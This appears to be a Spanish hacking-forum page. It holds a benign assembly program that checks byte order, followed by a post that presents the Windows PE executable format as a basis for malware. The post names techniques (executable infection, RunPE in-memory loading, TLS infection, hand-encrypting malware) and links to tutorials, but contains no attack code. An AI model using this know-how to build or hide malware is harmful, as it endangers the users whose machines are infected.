  1. ; Little-Endian ó Big-Endian
  2. ; Juan fary.
  3.  
  4. format PE Console 4.0
  5. entry start
  6. include 'win32ax.inc'
  7.  
  8. section '.data' data readable writeable
  9.        numero          dw 1
  10.  
  11.        little_endian   db 'Little-Endian!',0
  12.        big_endian      db 'Big-Endian!',0
  13.  
  14. section '.code' code readable writeable executable
  15. start:
  16.  
  17.        mov al, byte[numero]
  18.  
  19.        cmp al,1
  20.        jne Big
  21.  
  22.        invoke MessageBoxA,0,little_endian,0,MB_OK
  23.        ret
  24.  
  25.        Big:
  26.        invoke MessageBoxA,0,big_endian,0,MB_OK
  27.        ret
  28.  
  29.  
  30. section '.idata' import data readable writeable
  31.    library User32,'User32.dll'
  32.  
  33.    import User32,\
  34.           MessageBoxA,'MessageBoxA'    

saludos.
50  Seguridad Informática / Análisis y Diseño de Malware / Formato PE. en: 18 Enero 2016, 01:19 am
¿Qué es el formato PE?

Según wikipedia:

Citar
El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

En palabras sencillas, es la estructura que tienen los archivos ejecutables.



¿Para qué nos sirve en malware?

Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera.



Manuales

-Manual Formato PE - The Swash

-Importando funciones manualmente.   -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file

-Relocaciones en ejecutables.   -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/file

Talleres

-Taller Secciones formato PE - The Swash

-Taller formato PE - Ferchu

-Cifrando Malware a mano - Zero.

-LoadLibrary Manual - Yuki

Códigos

-Ret Exe Corruption - Karcrack

-Runpe en ASM - fary.

-Base Relocation - Zero.

-Infección por TLS - The Swash.



Más documentación:

https://elhacker.info/manuales/PE/

Si se me escapa algo más por ahí, avisar!
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines